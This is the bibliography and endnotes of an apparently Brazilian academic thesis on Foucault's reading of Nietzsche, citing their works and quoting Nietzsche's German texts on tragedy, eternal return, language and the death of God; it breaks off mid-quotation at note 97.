Índice

Continued from:

BIBLIOGRAFIA

Foucault

 

  • FOUCAULT, Michel, 1926-1984. Nietzsche, Freud, Marx.
    In: Nietzsche, Cahiers de Royaumont. Compte rendu, publié
    sous la direction de Gilles Deleuze, du colloque qui s’ést tenu du 4 au 8
    juillet 1964 à Royaumont. Paris: Éd. de Minuit, 1967.
  • ___. L’Archéologie du Savoir. A
    Arqueologia do Saber; trad. Luiz Felipe Baeta Neves. ¾ 4.ed. ¾ Rio de
    Janeiro: Forense Universitária, 1995.
  • ___. Surveiller et Punir. Vigiar e
    Punir; trad. Lígia M. Pondé Vassallo. Petrópolis: Vozes, 1987.
  • ___. Histoire de la Folie à l’Âge Classique.
    História da Loucura na Idade Clássica; trad. José Teixeira Coelho Netto e
    equipe. São Paulo: Perspectiva, 1995.
  • ___. Microfísica do Poder; organização e
    tradução de Roberto Machado. Rio de Janeiro: Edições Graal, 1979.
  • ___. Naissance da la Clinique. O
    Nascimento da Clínica; trad. Roberto Machado. ¾ 4.ed. ¾ Rio de
    Janeiro: Forense Universitária, 1994.
  • ___. Les Mots et les Choses: une archéologie des
    sciences humaines.
    As Palavras e as Coisas: uma arqueologia das
    ciências humanas; trad. Salma Tannus Muchail. ¾ 6.ed. ¾ São
    Paulo: Martins Fontes, 1992.
  • ___. Moi, Pierre Rivière, ayant egorgé ma mére, ma
    soeur et mon frère.
    Eu, Pierre Rivière, que degolei minha mãe, minha
    irmã e meu irmão. ; trad. Denize Lezan de Almeida. Rio de Janeiro:
    Graal, 1977.
  • ___. Histoire de la Sexualité: I – La Volonté de Savoir.
    História da Sexualidade I: A Vontade de Saber; trad. Maria Theresa da
    Costa Albuquerque e J.A.Guilhon Albuquerque. Rio de Janeiro: Edições Graal,
    1988.
  • ___. Histoire de la Sexualité: II – L’usage des
    plaisirs.
    História da Sexualidade II: O Uso dos Prazeres; trad. Maria
    Theresa da Costa Albuquerque e J.A.Guilhon Albuquerque. Rio de Janeiro: Edições
    Graal, 1984.
  • ___. Histoire de la Sexualité: III – Le Souci de
    Soi.
    História da Sexualidade III: O Cuidado de Si; trad. Maria
    Theresa da Costa Albuquerque e J.A.Guilhon Albuquerque. Rio de Janeiro: Edições
    Graal, 1985.
  • ___. Raymond Roussel. Le Chemin. Paris:
    Gallimard, 1963
  • ___. La Vida de los Hombres Infames;
    edición y traducción: Julia Varela y Fernando Álvarez Uría.
    Madrid: La Piqueta, 1990.
  • ___. Genealogia del Racismo; traducción del
    francés: Alfredo Tzveibely. Madrid: La Piqueta, 1992.
  • ___. Dits et écrits par Michel Foucault; I,
    1954-1969; II, 1970-1975; III, 1976-1979; iV, 1980-1988
    ; Édition
    établie sous la direction de Daniel Defert François Ewald. Paris:
    Gallimard, 1994.
  • ___. A Ordem do Discurso: aula inaugural no
    Collège de France pronunciada em 2 de dezembro de 1970; trad. Laura Fraga de
    Almeida Sampaio. São Paulo: Ed. Loyola, 1996.
  • ___. Resumo dos Cursos do Collège de France
    (1970-1982)
    ; trad. Andréa Daher; cons. Roberto Machado. Rio de janeiro:
    Jorge Zahar, 1997.

Sobre Foucault

 

  • CANGUILHEM, Georges. Mort de l’homme ou épuissement
    du Cogito?
    In: Critique ¾ revue génerale des
    publications françaises et étrangères, Tome XXIV, no. 242, Juillet 1967. Paris,
    Editions de Minuit, 1967.
  • CLARK, Michael. Michel Foucault an annotated
    bibliography.
    New York & London: Garland Publishing, 1983.
  • ÉDITIONS DU SEUIL. Michel Foucault philosophe;
    rencontre internationale Paris 9, 10, 11 Janvier 1988.
    Paris: Éd. Seuil, 1989.
  • DELEUZE, Gilles. Foucault. São Paulo:
    Brasiliense, 1995.
  • DREYFUS, H. e RABINOW, P. Michel Foucault, beyond
    structuralism and hermeneutics.
    Michel Foucault, uma trajetória
    filosófica: (para além do estruturalismo e da hermenêutica); trad. Vera Portocarrero.
    Rio de Janeiro: Forense Universitária, 1995.
  • ERIBON, Didier. Michel Foucault, 1926-1984;
    trad. Hildegard Fest. São Paulo: Companhia das Letras, 1990.
  • ___. Michel Foucault et ses contemporains. Michel
    Foucault e seus contemporâneos; trad. Lucy Magalhães. Rio de Janeiro:
    Jorge Zahar Ed., 1996.
  • MACHADO, Roberto. Ciência e Saber: a trajetória da
    arqueologia de Michel Foucault.
    Graal, 1982.
  • PORTOCARRERO, Vera (org.). Filosofia, História e
    Sociologia das Ciências I: abordagens contemporâneas
    . Rio de Janeiro:
    Fiocruz, 1994.
  • MARTON, Scarlet. Foucault, leitor de Nietzsche.
    In: Recordar Foucault, Renato Janine Ribeiro (org.). São Paulo: Editora
    Brasiliense, 1985.

Nietzsche

  • NIETZSCHE, Friedrich. Sämtliche Werke,
    Kritische Studienausgabe in 15 Bänden,
    Dünndruck-Ausgabe, Herausgegeben von
    Giorgio Colli und Mazzino Montinari. München, Berlin/New York: dtv, de Gruyter,
    November 1988.
  • ___. Ecce Homo: wie man wird, was man ist.
    Ecce Homo: como alguém se torna o que é; trad. Paulo César de Souza. São Paulo:
    Companhia das Letras, 1995.
  • ___. Die fröliche Wissenschaft. A Gaia
    Ciência; trad. Márcio Pugliesi, Edson Bini e Norberto de Paula Lima da
    Universidade de São Paulo. São Paulo: Hemus, 1981.
  • ___. Also sprach Zarathustra ¾ Ein
    Buch für Alle und Keinen.
    Assim falou Zaratustra ¾ Um
    Livro para Todos e para Ninguém; trad. Mário da Silva. Rio de Janeiro:
    Ed. Bertrand Brasil, 1989.
  • ___. Zur Genealogie der Moral. A Genealogia
    da Moral; trad. Palo Cesar Souza. São Paulo: Brasiliense, 1987.
  • ___. Oeuvres. Édition dirigée par Jean
    Lacoste et Jacques Le Rider. 2 volumes avec index des noms et des notions.
    Paris: Éd. Robert Laffont, 1993.

Sobre Nietzsche

 

  • DELEUZE, Gilles. Nietzsche et la philosophie.
    Paris: Presses Universitaires de France, 1994.
  • DIAS, Rosa Maria. Nietzsche educador. São
    Paulo: Editora Scipione, 1993.
  • ___. Nietzsche e a música. Rio de Janeiro:
    Imago Editora, 1994.
  • MACHADO, Roberto. Nietzsche e a verdade.
    Rio de Janeiro: Rocco, 1985.
  • ___. Zaratustra, tragédia nietzschiana. Rio
    de Janeiro: Jorge Zahar Editor, 1997.
  • HALÉVY, Daniel. Nietzsche, uma biografia.
    Rio de Janeiro: Campus, 1989.
  • FINK, Eugen. A filosofia de Nietzsche.
    Lisboa: Editorial Presença, 1983.

Outros

  • KANT, Immanuel. Resposta à pergunta o que é o Iluminismo? In:
    A Paz Perpétua e Outros Opúsculos. Lisboa: Edições 70, 1992.
  • PLATÃO. A República. São Paulo: Difusão
    Européia do Livro, 1973.
  • PETERS, F.E.. Termos Filosóficos Gregos: Um léxico
    histórico.
    Lisboa: Fundação Calouste Gulbenkian, 1983.
  • REALE, Giovanni e ANTISSERI, Dario. História da
    Filosofia
    , 3 volumes. São Paulo: Paulinas, 1991.
  • BOTTOMORE, Tom. Dicionário do pensamento marxista.
    Rio de Janeiro: Jorge Zahar Editor, 1993.
  • INWOOD, Michael. Dicionário Hegel. Rio de
    Janeiro: Jorge Zahar Editor, 1997.
  • HINRICHS, H.F.W.. Prólogo a H.F.W.Hinrichs, A Religião
    em relação interna com a ciência.
    In:
    FERREIRA, Manuel J. Carmo (org.).
    G.W.F.Hegel. Prefácios. Lisboa: Imprensa Nacional, Casa da Moeda, 1990.
  • FEUERBACH, Ludwig. Aportes para la critica de
    Hegel
    . Buenos Aires: Editorial La Pleyade, 1974.
  • LISPECTOR, Clarice. A Paixão segundo G.H.
    Rio de Janeiro: Francisco Alves, 1994.
  • PEREIRA, Isidro, S.J. Dicionário Grego-Português e
    Português-Grego.
    Braga, Portugal: Liv. Apostolado da Imprensa, 1990.
  • SPALDING, Tassilo Orpheu. Dicionário de Mitologia
    Grego-Latina.
    Belo Horizonte: Ed. Itatiaia, 1965.
  • BRANDÃO, Junito de Souza. Mitologia Grega, II.
    Petrópolis: Vozes, 1995.
  • LANGENSCHEIDTS. Taschenwörterbuch. Portugiesisch.
    Berlin: Langenscheidt, 1995.
  • COSTA, Antônio Fernando G. da. Guia para elaboração
    de relatórios de pesquisa – Monografias
    .
    Rio de Janeiro: UNITEC, 1993.

NOTAS

* * *

*


[1]
LISPECTOR, Clarice, 1925-1977. A
Paixão Segundo G.H
. 17a., Rio de Janeiro: Francisco Alves Editora, 1994. ¾
Referimo-nos ao romance de 1964 da romancista brasileira nascida em
Tchetchelnik (Ucrânia) de uma família russa, chegada ao Brasil com a idade de
dois meses, tendo vivido em Recife até 1937 e depois no Rio de Janeiro. Segundo
Nádia B. Gotlib em texto de apresentação, “Quando G.H., a personagem deste
romance, decide seguir seu percurso da sala ao quarto dos fundos, não é apenas
a escultora que, a certa altura, escolhe um dos seus afazeres domésticos
possíveis: limpar o apartamento de cobertura começando pela parte que deveria
ser a mais suja, a do quarto de empregada. Este caminho de ‘arrumar’ ou de ‘dar
a melhor forma’ ao quarto, que acontece lá no alto de um apartamento de classe
alta do Rio de Janeiro, é muito mais do que uma simples arrumação.
Transforma-se, pouco a pouco, no seu contrário. Torna-se uma lenta, gradativa e
dolorosa desarrumação do quarto, da vida, de tudo. Implica num irremediável e
fatal enveredar-se pelos múltiplos espaços em profundidade em que este cubículo
dos fundos vai se transformando, a partir de um dado de origem social: estar à
margem do poder num sistema de classe institucionalizado. A partir dele, e
também por ele motivado, inicia-se este longo percurso de reconstrução de um
mundo pelo seu avesso, que vai se formando justamente neste não ter forma nem
lei, contrariando todo um sistema cristalizado do que se convencionou tomar por
bom, belo e justo. (…) Ler este livro é, também, seguir este caminho,
derrubando os mitos dos sistemas estereotipados, repressores e falsos em que
vivemos, pela difícil via da desconstrução.”

[2] FOUCAULT, Michel. Les Mots et les
Choses: une archéologie des sciences humaines.
As Palavras e as
Coisas: uma arqueologia das ciências humanas; trad. Salma Tannus Muchail. 6.ed.
São Paulo: Martins Fontes, 1992. p. 402.

[3] Idem, p. 404

[4]
Idem, p. 399.

[5] Idem, p. 403

[6]
NIETZSCHE, F.. O
Nascimento da Tragédia.
¾
Citarei pela edição Friedrich Nietzsche Sämtliche Werke, Herausgegeben
von Giorgio Colli und Mazzino Montinari
, Kritische Studienausgabe in 15
Bänden, dtv de Gruyter, Dünndruck-Ausgabe. KSA 1, Die Geburt der Tragödie.

[7]
NIETZSCHE, F.. Ditirambos
de Dionisos, Lamento de Ariadne.
N.S.W., KSA 6, Klage
der Ariadne, s.398. “Ich bin dein Labyrinth…”

[8] V. verbete Baco, In:
SPALDING, Tassilo Orpheu. Dic. Mitologia Grego-Latina. Belo
Horizonte: Ed. Itatiaia, 1965, e Dioniso ou Baco: o deus do êxtase e do
entusiasmo
, cap. IV In: BRANDÃO, Junito de Souza. Mitologia
Grega, II.
Petrópolis: Vozes, 1995. p.113.

[9]
Interessante é observar que, presentemente, o eterno retorno tem
lugar numa cosmologia derivada de uma concepção física e matemática do existente
como dando-se em um âmbito fechado, o chamado “espaço-tempo”, um espaço
quadridimensional tendo por quarta dimensão o tempo. Este espaço contém todos
os acontecimentos possíveis, acontecimentos esses caracterizados por pontos
deste espaço.

[10] NIETZSCHE, F.. Considerações
Extemporâneas
, Da utilidade e do incoveniente da história para a vida
.
¾ N.S.W., KSA 1, Unzeitgemässe
Betrachtungen II, Vom Hutzen und Nachteil der Historie für das Leben
,
s.254, Z.6, “So liebt jeder Handelnde seine That unendlich mehr als…”

[11]
Nietzsche explica em Ecce Homo
que o eterno retorno é a “suprema fórmula de afirmação que alguma vez se
atingiu”, fórmula esta que teria lhe surgido em agosto de 1881 na concepção do
Zaratustra. Há que se considerar, todavia, que as idéias fundamentais de
Nietzsche estão em relação umas com as outras, razão pela qual fazemos esta
menção ao tema neste ponto do trabalho em que estamos tratando do pensamento
trágico.

[12] NIETZSCHE, F.. Assim
falou Zaratustra
, terceira parte, O convalescente ¾ N.S.W., KSA 4, Also sprach Zarathustra, ein Buch für Alle und
Keinen, Dritter Teil, Der Genesende 2, s.272, z. 31, “Alles geht, Alles kommt
zurück; ewig rollt das Rad des Seins …”

[13] NIETZSCHE, F.. Assim
falou Zaratustra
, terceira parte, Dos renegados ¾ N.S.W., KSA 4, Also sprach Zarathustra, Dritter Teil, Von den
Abtrünnigen, s.230, z.4, “Mit den alten Göttern gieng es ja lange schon zu
Ende…”

[14] Cf. SPALDING, T.O., p.
37 e BRANDÃO, J.S., p. 113, Op. cit.

[15] A teoria da aliança de Apolo e
Dionísio na tragédia é apresentada por Nietzsche em O Nascimento da
Tragédia.
¾ N.S.W., KSA 1, Die Geburt der
Tragödie
.

[16] V. diálogo Fédon,
de Platão, em que Sócrates é apresentado na prisão, conversando sobre a morte.
O diálogo relata o caminho socrático, retomado e desenvolvido por Platão: o
conhecimento como reminiscência e a doutrina das idéias.

[17] A questão do Socratismo é
apresentada por Nietzsche em O Nascimento da Tragédia,
compreendendo a questão do socratismo da moral, do socratismo estético, do
socratismo lógico e da luta contra a tragédia esquiliana ¾ N.S.W., KSA 1, Die Geburt der Tragödie.

[18] Estamos aludindo às estrofes
iniciais do Samba da Bênção de Vinicius de Moraes a título de
ilustração, um brasileiro exemplo que, a nosso ver, muito bem exemplifica o
pensamento trágico.

[19] NIETZSCHE, F.. Assim
falou Zaratustra
, parte 3, Do espírito de gravidade, numa alusão
ao burro que zurra fazendo I – a, I – a, que soa como a palavra alemã Ja,
que quer dizer “sim” ¾ KSA 4, s.244, Z.1, “Alles
aber kauen und verdauen
¾ das ist eine rechte
Schweine-Art! Immer I-a sagen
¾
das lernte allein der Esel, und wer seines Geistes ist!
¾”.

[20] “Se eu te amo, tome
cuidado!”
Referimo-nos, como ilustração, ao trecho La Bohême
do primeiro ato de Carmen, ópera em quatro atos com libreto de Henri
Meilhac e Ludovic Halévy, baseado no romance Carmen de Prosper Mérimée e
música de Georges Bizet, estreada a 3 de março de 1875 no Teatro Nacional da Opéra-Comique
de Paris. Nietzsche admirava muito esta ópera, tendo sobre ela escrito que lhe
parecia perfeita. “Ela se mostra ligeira, ágil, tem polidez.
Ela é amável (…) ‘Tudo o que tem mérito é fácil, e os deuses têm os pés
ligeiros’: esta é a primeira tese de minha estética. (…) Ela é rica. Ela é
precisa. (…) Ter-se-á alguma vez escutado sobre o palco entonações de uma dor
mais trágica?”, O Caso Wagner, parágrafo 1 ¾ N.S.W., KSA 6, Der Fall Wagner I, s.13, z. 22, “Sie kommt
leicht, biegsam, mit Höflichkeit daher. Sie ist liebenswürdig…”
.

[21] NIETZSCHE, F.. Assim
falou Zaratustra
, primeira parte, Dos trasmundanos ¾ N.S.W., KSA 4, Also sprach Zarathustra, Ester Teil, Von den
Hinterweltlern,
s.35, z.4, “Eines leidenden und zerquälten Gottes Werk
schien mir da die Welt”.

[22] DELEUZE, Gilles. Nietzsche
e a filosofia
, cap. V: Super-Homem: contra a dialética.

[23] Idem

[24] NIETZSCHE, F.. O
Anticristo
, par.31, 32 e 33 ¾
N.S.W., KSA 6, Der Antichrist 31, 32,33, s. 201, 203, 205.

[25]
Interessante é observar a similitude
entre o que se passa com Zaratustra e o mito da caverna contado por Platão em A
República
, uma similitude de sentidos diferente e opostos. Para Platão, o
esplendor das essências só é dado a contemplar e fixar na alma a quem, rompendo
os grilhões, se tenha elevado além das trevas da caverna até o reino da luz. Em
Nietzsche, não é assim. A sabedoria de Zaratustra não é fruto da contemplação
de uma luz que vem de fora, uma luz dada e preexistente. Zaratustra tem o sol
como companheiro em sua labuta, e o mel de sua sabedoria é como o da abelha:
fruto de um trabalho, de um esforço de juntar e de elaborar o que foi juntado.
Por outro lado, enquanto o homem iluminado de Platão habitua-se às clarezas
ideais e não mais consegue distinguir as sombras do mundo de baixo, em
Zaratustra não é assim. Este enriquece-se com sua labuta a ponto de saturar-se
e, superabundante, sente necessidade de ir ter com os homens para ensinar o que
aprendeu: a superação de si mesmo.

[26] NIETZSCHE, F.. Assim falou
Zaratustra
, Prólogo, par. 4 ¾
N.S.W., KSA 4, Also sprach Zarathustra, Zarathustra’s Vorrede 4, s.16, z.25,
“Der Mensch ist ein Seil geknüpft zwischen Thier und Übermensch…”

[27] Para uma teoria do homem
superior v. Assim falou Zaratustra, parte 4 ¾ N.S.W., KSA 4, Vierten und letzter Theil, s. 293 bis 405.

[28] NIETZSCHE, F.. ¾ N.S.W., KSA 12, Nachgelassene Fragmente 1885-1887,
9 [123](81), Zur Genesis des Nihilisten, “Man hat nur spät den Muth zu dem, was
man eigentlich weiss. Dass ich …

[29] NIETZSCHE, F.. A Gaia
Ciência
, 354, Do gênio da espécie ¾
N.S.W., KSA 3, Die fröhliche Wissenchaft, 354, Vom “Genius der Gattung”,
s.590, z.11, “Das Problem des Bewusstseins …”

[30] Idem, ibidem. z.26, “Wozu
überhaupt Bewusstsein, wenn es der Haupsache überflüssig ist?”

[31] NIETZSCHE, F.. Aurora,
livro segundo, par. 115, O pretenso eu ¾
N.S.W., KSA 3, Morgenröthe, Zweites Buch 115, Das Sogenannte “Ich”, s.107,
z.9, “Die Sprache und die Vorurtheile, auf denen die Sprache aufgebaut ist…”

[32] NIETZSCHE, F.. Crepúsculo
dos Ídolos
, Incursões de um extemporâneo, par.26 ¾ N.S.W., KSA 6, Götzen-Dämmerung, Streifzüge eines Unzeitgemäsen
26, s.128, Z.20, “Wir schätzen uns nicht genug mehr, wenn wir uns mittheilen.”
.

[33] NIETZSCHE, F.. Humano,
demasiado humano
, Segunda Parte, par.105 ¾
N.S.W., KSA 2, Menschliches, Allzumenschliches II, 105, s.421, Z.25, “Dass
die Sprache nicht zur Mittheilung des Gefühls gegeben ist, sieht man daraus
…”

[34] NIETZSCHE, F.. A Gaia
Ciência
, par.355, A origem de nossa noção de conhecimento. ¾ N.S.W., KSA 3, Die fröliche Wissenschaft 355, s.594, z.10,
“Sollte es nicht der Instinkt der Furcht sein, der uns erkennen heisst?”

[35]
O termo idealismo foi
introduzido na linguagem filosófica na metade do século XVII por Leibniz e
inicialmente atribuído à doutrina platônica das idéias e a outros autores para
quem a realidade é a forma ou a idéia. A palavra é usada prevalentemente no
significado de idealismo gnosiológico ou epistemológico e idealismo romântico.
No sentido gnosiológico o termo foi empregado pela primeira vez por Wollf,
denominando idealistas aqueles que admitem que os corpos têm somente uma
existência ideal e por isso negam a existência real dos próprios corpos e do
mundo. No sentido romântico, o idealismo constitui o nome da grande corrente
filosófica romântica que se originou na Alemanha depois de Kant, tendo por
fundadores Fichte e Schelling, e que teve numerosas ramificações na filosofia
moderna e contemporânea. V. ABBAGNANO, Nicola. V. verbete “Idealismo” In:
Dicionário de Filosofia. São Paulo: Mestre Jou, 1982.

[36] NIETZSCHE, F.. Para além
do Bem e do Mal
, par.16 ¾
N.S.W., KSA 5, Jenseits von Gut und Böse, 16, S.29, Z.18, “Es giebt immer
noch harmlose Selbst-Beobachter, welche glauben, dass es ‘unmittelbare
Gewissheiten’ gebe, zum Beispiel ‘ich denke’, oder, wie es der Aberglaube
Schopenhauer’s war, ‘ich will’…”.

[37] Contradição que ocorre entre um
termo e o que se lhe acrescenta. Por exemplo, entre o substantivo e seu
adjetivo como em calor frio, beleza feia, vivente imortal.

[38] NIETZSCHE, F.. Para além
do Bem e do Mal
, par.17 ¾
N.S.W., KSA 5, Jenseits von Gut und Böse, 17, s.31, z.11, “Denken ist Thätigkeit,
zu jeder Tkätigkeit gehört Einer, der Thätig ist, folglich
¾

[39] Idem, par.34 ¾ J.G.B.,34, s.53, z.22, “Warum nicht? Es ist nicht mehr als ein
moralisches Vorurteil, dass Wahrheit mehr ist als Schein…”

[40] Idem, par.54 ¾ J.G.B., 54, s.73, z.13, “Ehemals nämlich glaubte man an ‘die
Seele’, wie man an die Grammatik und das grammatische Subjekt glaubte…”

[41] NIETZSCHE, F.. Humano,
demasiado humano
, O viajante e sua sombra
, par.11 ¾ N.S.W., KSA 2, M.,A.II, s.547, z.16, “Der Glaube an die
Freiheit des Willens, das heisst der gleichen Facten und der isolirten Facten

¾ hat in der Sprache seinen
beständigen Evangelisten und Anwalt”
.

[42] Idem, par.55 ¾
s.557, z.5, “Gefahr der Sprache für die geistige Freiheit. ¾ Jedes Wort ist ein Vorurtheil.”

[43] NIETZSCHE, F.. Assim falou
Zaratustra
, O convalescente, par.2 ¾ N.S.W., KSA 4, Der Genesende, 2, s.272, z.9, ¾ Oh meine Thiere, antwortete Zarathustra, schwätzt also weiter
und lasst micht zuhören!”

[44] NIETZSCHE, F.. Genealogia
da Moral
, 1ª dissertação, par.2 ¾
N.S.W., KSA 5, Z.G.M., s.259, z.16, “Vielmehr sind es ‘die Guten’
selber gewesen …”

[45] Idem, ibidem ¾ s.260, z.1, “Das Herrenrecht, namen zu geben, geht so weit…”

[46] Idem, par.4 ¾ s.261, z.26, “…eine Entwicklung, die immer parallel mit
jener anderen läuft, welche ‘gemein’, ‘pöbelhaft’, ‘niedrig’ schliesslich in
den Begriff ‘schlecht’ übergehen macht.”

[47] Idem, par.7 ¾ s.267, z.22, “die Elenden sind allein die Guten, die Armen,
Ohnmächtigen, Niedrigen sind allein die Guten…”

[48] Idem, par.11 ¾ s.277, z.14, “der ‘zahme mensch’, der Heillos-Mittelmässige
und Unerquickliche …”

[49] Idem, ibidem ¾ s. 276, z.20, “der Sinn aller Cultur sei, aus dem Raubthiere
“Mensch” ein Zahmes und civilisirtes Thier, ein Hausthier herauszuzüchten…”

[50] Idem, par.13 ¾ s.279, z.9, ¾ Von
der Stärke verkangen, dass sie sich nicht als Stärke äussere, …”

[51] NIETZSCHE, F.. Crepúsculo
dos Ídolos
, O problema de Sócrates, par.11 ¾ N.S.W., KSA 6, Götzen-Dämmerung, Das Problem des Sokrates, 11,
s.73, z.3, “Das grellste Tageslicht, die Vernünftigkeit um jeden Preis, …”

[52] Nietzsche refere-se a
Parmênides de Eléia, Zenão de Eléia e Melisso de Samos, os chamados eleatas
para quem o ser é indivisível, imóvel, acabado. É sobretudo na filosofia de
Parmênides que preludia-se o tema da ontologia. O fato de a experiência não lhe
apresentar em nenhuma parte um ser tal como ele o pensava, mas, do fato de que
podia pensá-lo, Parmênides concluía que ele precisava existir: uma conclusão
que repousa sobre o pressuposto de que nós temos um órgão do conhecimento que
vai à essência das coisas e é independente da experiência. Segundo Parmênides,
o elemento de nosso pensamento não está presente na intuição, mas é trazido de
outra parte, de um mundo extra-sensível ao qual nós temos um acesso direto
através do pensamento. Parmênides explica o pensamento e o ser como idênticos.
V. A Filosofia na Época Trágica dos Gregos, par.9, 10, 11, 12, 13
¾ N.S.W., KSA 1, s.835 bis 851, “Die
Philosophie im tragischen Zeitalter der Griechen”, 9, 10, 11, 12, 13.

[53] NIETZSCHE, F.. Crepúsculo
dos Ídolos
, A razão na filosofia, par.5. ¾ N.S.W., KSA 6, Götzen-Dämmerung, Die ‘Vernunft’ in der
Philosophie, s.77, z.15, “Die Sprache gehört ihrer Entstehung nach in die Zeit
der rudimentarsten Form von Psychologie …”

 

[54]
V. verbete Morte e imortalidade
in: INWOOD, Michael. Dicionário Hegel. Rio de Janeiro: Jorge
Zahar Editor, 1997, p. 228, e Nota 11 do Prólogo a H.F.W.Hinrichs, A
Religião na Relação Interna com a Ciência
in: G.W.F.Hegel, Prefácios.
Lisboa, Imprensa Nacional ¾ Casa da Moeda, 1990, p.229.

[55]
V. verbete Feuerbach, Ludwig
In: Ferrater Mora, Dicionário de Filosofia, Barcelona, Ariel; e FEUERBACH,
Ludwig. Aportes para la Critica de Hegel, Buenos Aires, La Pleiade,
1974.

[56]
FINK, Eugen. A filosofia de Nietzsche.
Lisboa: Editorial Presença, 1983.

[57]
NIETZSCHE, F.. Aurora,
424, Para quem existe a verdade ¾ N.S.W., KSA 3, Morgenröte, Fünftes
Buch,424, Für wen die Wahrheit da ist, s. 261, z. 5, “Auch die
grieschichen Götter verstanden nicht zu trösten, …”

[58]
NIETZSCHE, F.. A Gaia
Ciência
, 125, O insensato ¾
N.S.W., KSA 3, Die fröhliche Wissenchaft, Drittes Buch, 125, Der tolle
Mensch, s. 480, z.22,

¾¾Habt ihr nicht von jenem tollen
Menschen gehört …”

[59]
Idem, 108, Lutas novas. ¾ KSA
3, Dritten Buch, 108, Neue Kämpfe, s. 467, Z.3, “ Nachdem Buddha todt
war…”

[60]
Idem, Livro quarto, 343, Nossa
serenidade. ¾ KSA 3, Die
fröhliche Wissenchaft, Fünftes Buch, 343, Was es mit unserer Heiterkeit auf
sich hat.


¾¾Das gröste neuere Ereigniss, ¾
dass `Gott todt ist’, dass der Glaube an den christlichen Gott unglaubwürdig
geworden ist.”

[61]
NIETZSCHE, F.. Assim falou
Zaratustra
, Prólogo 2. ¾
N.S.W., KSA 4, Also Sprach Zarathustra, ein Buch für Alle und Keinen,
Zarathustra’s Vorrede, 2, s.14, z.7, “Sollte es denn möglich sein! Dieser alte
Heilige hat in seinem Walde noch Nichts davon gehört, dass Gott todt ist!”

[62]
Idem. Prólogo 4. ¾ N.S.W., KSA 4, Also Sprach Zarathustra, ein Buch für Alle und
Keinen, Zarathustra’s Vorrede, 4, s.17, z.7, “Ich liebe Die, welche nicht erst
hinter den Sternen einen Grund suchen…”

[63]
MACHADO, Roberto. Zaratustra,
Tragédia Nietzschiana.
Rio de Janeiro: Jorge Zahar Ed., 1997.

[64]
Op. Cit., Prólogo 5 ¾ Zarathustra’s Vorrede 5, s.18, z.27, “…sie
verstehen mich nicht, ich bin nicht der Mund für diese Ohren”.

[65]
Idem, Prólogo 5. ¾ Zarathustra’s Vorrede 5, s.19, z.15, “Wehe! Es kommt
die Zeit, wo der Mensch nicht mehr den Pfei seiner Sehnsucht über den Menschen
hinaus wirft…

[66]
Zaratustra não utiliza o termo
“niilista” para caracterizar isso que o último homem é. É válido, todavia,
entender o último homem de Zaratustra como o homem ocidental niilista de nossos
dias, este piolho, esta doença de pele da terra.

[67]
Idem, Prólogo 6. ¾ Zarathustra’s Vorrede 6, s.22, z.16, “… du hast aus
der Gefahr deinen Beruf gemacht, daran ist nichts zu verachten.”

[68]
Idem, Prólogo 3. ¾ Zarathustra’s Vorrede 3, s.14, z.13, “Ich lehre euch
den Übermenschen. Der Mennch ist Etwas, das überwunden werden soll.”

[69]
NIETZSCHE, F.. A Gaia
Ciência
, 357, Acerca do velho problema: “O que é alemão” ¾ N.S.W., KSA 3, Die fröhliche Wissenchaft, 357, Zum alten
Probleme: “was ist deutsch”, s.599, z.29, “Hegel namentlich war sein verzögerer
par excellence…”

[70]
Idem, Ibidem. ¾ s.
600, z.10, “Man sieht, was eigentlich über den christlichen Gott geriegt hat: die
christliche Moralität…”

[71]
NIETZSCHE, F.. Genealogia
da Moral
, 3ª dissertação, par.27 ¾
N.S.W., KSA 5, Zur Genealogie der Moral, s.410, z.29, “… jener
Willens zur Wahrheit sich selbst als Problem zum Bewusstsein gekommen wäre?”

[72] PORTOCARRERO, Vera. Foucault: A História
do Saber e das Práticas
. In: Filosofia, História e Sociologia das
Ciências I
, Vera Portocarrero, org., Editora Fiocruz, 1994, p.43.

[73] LE RIDER, Jacques. Prefácio de Nietzsche
et la France – présences de Nietzsche en France
. In: Friedrich
Nietzsche – Oeuvres
, Paris, Bouquins, Robert Laffont, vol.1.

[74]
ERIBON, Didider. Michel
Foucault, 1926-1984
. — S.Paulo: Cia.das Letras, 1990. p.74.

[75] Idem, p.75.

[76] Op. Cit., ERIBON , cap. 5, O
sapateiro de Stálin
.

[77] Op. Cit., ERIBON, p.65.

[78]
Idem, ibidem.

[79]
MACHADO, Roberto. Ciência e Saber.

[80] MARTON, Scarlet. Foucault, leitor de Nietzsche. In:
Recordar Foucault, Renato Janine Ribeiro (org.). – São Paulo: Editora
Brasiliense, 1985.

[81]
FOUCAULT, Michel. Dits et écrits,
I, 1954-1988, p.161, l. 15, “On pourrait faire une histoire des limites(…)”
l. 29, “Au centre de ces expériences-limites du monde occidental éclate, bien
entendu, celle du tragique même (…)”

[82]
FOUCAULT, Michel. As Palavras e as
Coisas
. O homem e seus duplos, V, O cógito e o impensado, p. 342 e 343.

[83]
Idem. O homem e seus duplos, I,
Retorno da Linguagem, p.321.

[84]
Idem. O homem e seus duplos, I, Retorno
da Linguagem, p.322 e 323.

[85]
V. comentário da tradutora Laura Fraga
de Almeida Sampaio em A ordem do discurso, Edições Loyola, 1996.

[86]
MACHADO, Roberto. Por uma genealogia
do poder.
In: Microfísica do poder, p.XVI

[87] FOUCAULT, M.. Nietzsche, a genealogia e a história.
In: Microfísica do Poder.

[88] Ursprung: origem; Entstehung:
emergência, ponto de surgimento; Herkunft: proveniência. Segundo
o Dic. Langenscheidts Taschen-wörterbuch de Alemão-Português.

[89] Paródia: sátira, imitação cômica ou burlesca, comédia
satírica em que se ridiculariza uma obra.

[90]
FOUCAULT, Michel. Nietzsche, a
genealogia e a história
, parte VII. In: Microfísica do
Poder, p.35.

[91] FOUCAULT, M.. Qu’est-ce
que les Lumières
. In: Dits et écrits
, vol. IV, 1980 – 1988, p.
562. Uma ontologia da atualidade
que leva a Horkheimer e Adorno e também a Habermas, passando por Hegel,
Nietzsche e Max Weber, escreve Foucault.

[92]
KANT, Immanuel. Resposta à
pergunta: Que é o Iluminismo?
In: A Paz Perpétua e Outros Opúsculos.
Lisboa: Edições 70, 1992.

[93] Significando “tenha a coragem e
a audácia de saber”.

[94] Traduz-se por humanidade.

[95] Obras críticas de Kant: Crítica
da Razão Pura, 1781; Crítica da Razão Prática, 1788; Crítica da Faculdade do
Juízo, 1790.

[96] FOUCAULT, M.. Dits et
écrits
, IV, 1980-1988, p.568, l.9, “Mais il me semble que
c’est la première fois qu’un philosophe donne les raisons qu’il a
d’entrependre son oeuvre en tel ou tel moment. …”

[97] Idem, p. 568, l.34, “Par
conséquent, plutôt que de vouloir distinguer la ‘période moderne’ des époques
